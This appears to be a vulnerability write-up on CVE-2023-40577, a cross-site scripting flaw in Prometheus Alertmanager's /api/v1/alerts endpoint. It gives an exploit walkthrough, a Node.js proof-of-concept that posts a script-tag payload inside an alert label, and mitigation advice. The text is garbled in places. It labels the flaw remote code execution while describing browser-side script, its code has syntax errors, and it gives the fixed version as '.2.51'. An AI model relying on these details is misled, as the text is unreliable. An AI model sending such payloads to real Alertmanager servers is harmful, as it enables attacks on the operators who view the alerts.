CVE-2023-40577: Critical Vulnerability in Prometheus Alertmanager Allowing Remote Code Execution via POST Requests

A critical vulnerability (CVE-2023-40577) has been discovered in Prometheus Alertmanager, a popular open-source alert management tool used for managing alerts sent by client applications such as the Prometheus server. This vulnerability allows an attacker to execute arbitrary JavaScript code on the users of Prometheus Alertmanager by performing POST requests on the /api/v1/alerts endpoint.

Original references

1. CVE-2023-40577 Vulnerability Details
2. GitHub Security Advisory: GHSA-2529-4474-2
3. Prometheus Alertmanager Official Documentation

Exploit details

To exploit this vulnerability, an attacker needs to have the permission to perform POST requests on the /api/v1/alerts endpoint of the Alertmanager server. By crafting a malicious POST request with JavaScript code embedded in the alert details, the attacker can trigger the execution of arbitrary JavaScript code on the users' browsers when they interact with the Alertmanager web interface.

Here's a sample code snippet demonstrating the exploitation of this vulnerability

const axios = require("axios");

const TARGET_URL = "http://target_alertmanager_server/api/v1/alerts";;
const PAYLOAD = "<script>alert('XSS')</script>";

const postData = [
  {
    "labels": {
      "alertname": "MaliciousAlert",
      "instance": ${PAYLOAD}
    },
    "annotations": {
      "description": "This is a malicious alert containing XSS payload."
    }
  }
];

(async () => {
  try {
    const response = await axios.post(TARGET_URL, postData);
    console.log(Alert sent: ${response.data});
  } catch (error) {
    console.error(Error sending alert: ${error});
  }
})();

Mitigation

The Prometheus Alertmanager team has addressed this issue in version .2.51. Users are strongly advised to update their Alertmanager instances to version .2.51 or later to prevent any potential exploitation of this vulnerability. You can find the release notes and download links for Alertmanager .2.51 here:

Prometheus Alertmanager .2.51 Release Notes

Additionally, it is recommended to restrict access to the /api/v1/alerts endpoint only to trusted users and applications to minimize the risk of unauthorized POST requests. This can be achieved through various means, such as IP whitelisting, implementing authentication and authorization mechanisms, or using a reverse proxy to limit access to the endpoint.

Conclusion

This vulnerability (CVE-2023-40577) in Prometheus Alertmanager demonstrates the importance of always staying up-to-date with the latest software releases and security patches. Failure to do so may expose your organization to significant risks, such as unauthorized remote code execution attacks. By following best practices and promptly upgrading to Alertmanager .2.51, users can mitigate the risks associated with this vulnerability and help ensure the ongoing security and integrity of their alert management systems.

Timeline

Published on: 08/25/2023 01:15:00 UTC
Last modified on: 08/31/2023 14:45:00 UTC